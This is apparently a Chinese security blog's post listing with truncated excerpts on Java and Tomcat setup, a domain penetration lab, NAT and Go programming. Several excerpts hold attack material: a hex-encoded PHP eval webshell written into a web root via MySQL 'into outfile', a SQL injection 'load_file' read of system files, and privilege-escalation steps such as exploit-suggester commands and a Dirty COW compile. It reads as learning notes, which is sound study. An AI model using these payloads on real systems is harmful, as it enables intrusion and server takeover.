安装jdk8u651https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html#license-lightbox
idea1https://www.jetbrains.com/idea/download/#section=windows
tomcat1https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.73/bin/apache-tomcat-9.0.73.zip
构建maven
123Name = 项目根文件名Groupid = 公司域名Artifact = 项目名
下一步直接finish
tomcat配置tomcat解压到合适文件夹,我因为是虚拟机就直接放桌面了,不要学我乱解压
测试
排错如果测试遇到问题不要慌,删除项目快速再来一遍,因为网速等问题第一遍加载maven可能存在一些错误,没错,我就是重新又来了一遍才正常,浏览器默认google就行
GETSHELLhex(16进制)
0x3c3f70687020406576616c28245f4745545b2778275d293b203f3e
3C3F70687020406576616C28245F504F53545B2778275D293B203F3E
以0x开头,告诉计算机区别于十进制
12select 0x3c3f70687020406576616c28245f4745545b2778275d293b203f3e into outfile 'E:/phpStudy/WWW/1.php'select "123" into outfile 'E:/phpStudy/WWW/1.txt';
读文件前提条件
打开my.ini在最后添加
secure-file-priv=
重启phpstudy
secure-file-priv限制mysql的导入导出
读取文件
?id=100’ union select 1,load_file(“c:/windows/system32/d ...
Windows内核提权别用python3
ms16-032
检测脚本
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
python -m pip install xlrd==1.2.0
python windows-exploit-suggester.py –database 2023-07-07-mssb.xls –systeminfo 1.txt
内核提权所用脚本
https://github.com/SecWiki/windows-kernel-exploits
linux检测脚本https://github.com/InteliSecureLabs/Linux_Exploit_Suggester
脏牛漏洞gcc -pthread dirty.c -o dirty -lcrypt利用版本必须低于如下版本
1234567Centos7 /RHEL7 3.10.0-327.36.3.el7Cetnos6/RHEL6 2.6.32-642.6.2.el6Ubuntu 16.10 ...
环境准备:vmware网络环境:攻击主机:nat模式
centos7(dmz):桥接模式
172.16.1.1(vmnet1)
win10(域内主机)主机密码:1234.com
172.16.1.2(vmnet1)
10.10.10.1(vmnet2)
2008服务器(dc):主机密码:1234.com
10.10.10.254/24(vmnet2)
服务搭建centos7(dmz):shiro反序列化漏洞
shiro漏洞环境搭建
1http://www.xiusafe.com/2023/03/07/shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
win10(域主机):加入域xiusafe.com,指定10.10.10.254为dns服务器
客户机加入域的条件计算机IP地址和DNS配置正确
确保该计算机和域控制器互相连通
输入域名称
输入用户名及密码
加入域,右键电脑属性
输入域控主机账户密码
2008服务器(dc):安装ad管理员登录运行dcpromo
这个图给我们一些启示,定位域控的时候,如果有主机同时开放了这 ...
私网地址与公网地址IPv4所能表示的IP太少而需要上网的设备太多以至于不够用,划分私网地址与公网地址,规定只有公网地址才可以在互联网上进行通信,私网地址出现在互联网上,互联网的路由器会丢掉这个私网地址的数据包,所以私网地址可以被多个公司重复使用,在进行上网时私网地址转换为对应的公网地址
地址转换 1)私有IP地址:私网IP
私网IP范围:
10.0.0.0**/8**
172.16.0.0**/16** - 172.31.0.0**/16**
192.168.0.0**/16**
2)公有IP地址:公网IP
NAT主要作用:实现私网IP与公网IP的互相转换!
3)NAT的种类:
1)静态NAT:一对一映射
2)动态NAT:多对一映射
3)PAT:多对一映射(同时),通过端口号来区分不同的内网IP地址
实际生产环境下我们多使用PAT进行映射,而我们内网的web往往采用静态NAT映射出去供客户访问
多级代理实际攻防环境下我们个人主机与服务器主机很可能都处在内网环境 ...
编程语言
未读多个goroutine有可能出现使用同一个值的场景,这种情况被称为竞态条件,有可能造成程序报错,两个goroutine同时读取一个相同的事物不会造成竞态条件,只有当一方在写入,另一方无论进行读取还是写入的时候才会产生竞态条件
互斥锁mutex,互斥锁提供了Lock和Unlock两个方法
123456789101112131415161718192021package mainimport "sync"// 网络爬虫,这种类型的数据可以被多个goroutine引用type Visited struct { mu sync.Mutex //互斥锁类型的结构元素,负责保护数据 visited map[string]int //map类型的元素,负责记录统计数据}func (v Visited) VisitedLink(url string) int { v.mu.Lock() //上锁 defer v.mu.Unlock() //在返回时解锁 count := v.visited[url] count++ v ...
启动goroutine123456789101112131415package mainimport ( "fmt" "time")func sleepyGopher() { time.Sleep(3 * time.Second) fmt.Println("...zzZZ...")}func main() { go sleepyGopher() //启动goroutine time.Sleep(4 * time.Second)} //main函数结束所有的goroutine都会结束,所以我们需要在main函数最后加一个sleep等待goroutine结束
多个goroutine每次使用go关键字都会产生一个新的goroutine,从表面看好像是所有的goroutine同时运行,实际上每次运行只有操作系统和处理器会知道,所以我们使用goroutine时只能假设不同的goroutine以任意顺序执行
1234567891011121314151617package mainimport ( ...
编程语言
未读处理错误go语言支持多个返回值,按照惯例我们把错误放在最后一个返回值返回
123456789101112131415161718package mainimport ( "fmt" "io/ioutil" "os")func main() { files, error := ioutil.ReadDir(".")//函数调用成功error为nil,if判断就不会生效,如果调用失败程序打印错误后立即退出 if error != nil { fmt.Println(error) os.Exit(1) } for _, value := range files { fmt.Println(value.Name())//打印当前目录的所有文件名 }}
尝试读取一个虚构文件12345678910111213141516171819package mainimport ( "fmt" "io/ioutil" ...
通向惊恐的nil指针123456789package mainimport "fmt"func main() { var nowhere *int fmt.Println(nowhere) //fmt.Println(*nowhere) //针对nil指针的解引用会使程序崩溃}
保护方法12345678910111213141516package mainimport "fmt"type person struct { age int}func (p *person) birthday() { p.age++}func main() { var nobody *person fmt.Println(nobody) //nobody.birthday()//造成惊恐导致程序崩溃}
修改
1234567891011121314151617181920package mainimport "fmt"type person struct { ...
编程语言
未读概念指针是指向另一个变量的地址的变量,是一种间接访问的形势
&和*go语言的指针采用了C语言的指针语法,在这类语法中我们需要关注&(与符号)和*(星号)
123456789101112package mainimport "fmt"func main() { answer := 100 fmt.Println(&answer) address := &answer fmt.Println(*address)//星号对地址变量进行取值,address变量没有存储数值100,但是它存储了内存地址,这个内存地址里面存放了100}
123456789101112package mainimport "fmt"func main() { canada := "Canada" var home *string //声明home变量为string类型的指针 home = &canada//将canada变量的内存地址赋给home fmt.Println(*home ...